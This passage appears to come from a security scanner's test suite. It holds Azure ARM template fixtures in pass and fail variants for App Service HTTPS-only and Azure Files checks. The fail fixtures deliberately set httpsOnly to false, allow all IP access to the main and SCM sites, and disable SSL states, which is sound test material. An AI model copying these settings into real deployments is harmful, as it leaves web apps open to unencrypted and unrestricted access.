"bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": false, "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": true, "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "pass2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": true, "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceUsedAzureFiles/AppServiceEnableFailedRequest-failed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureBlob", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceUsedAzureFiles/AppServiceEnableFailedRequest-failed2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed2", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0 } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceUsedAzureFiles/AppServiceUsedAzureFiles-passed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "passed", 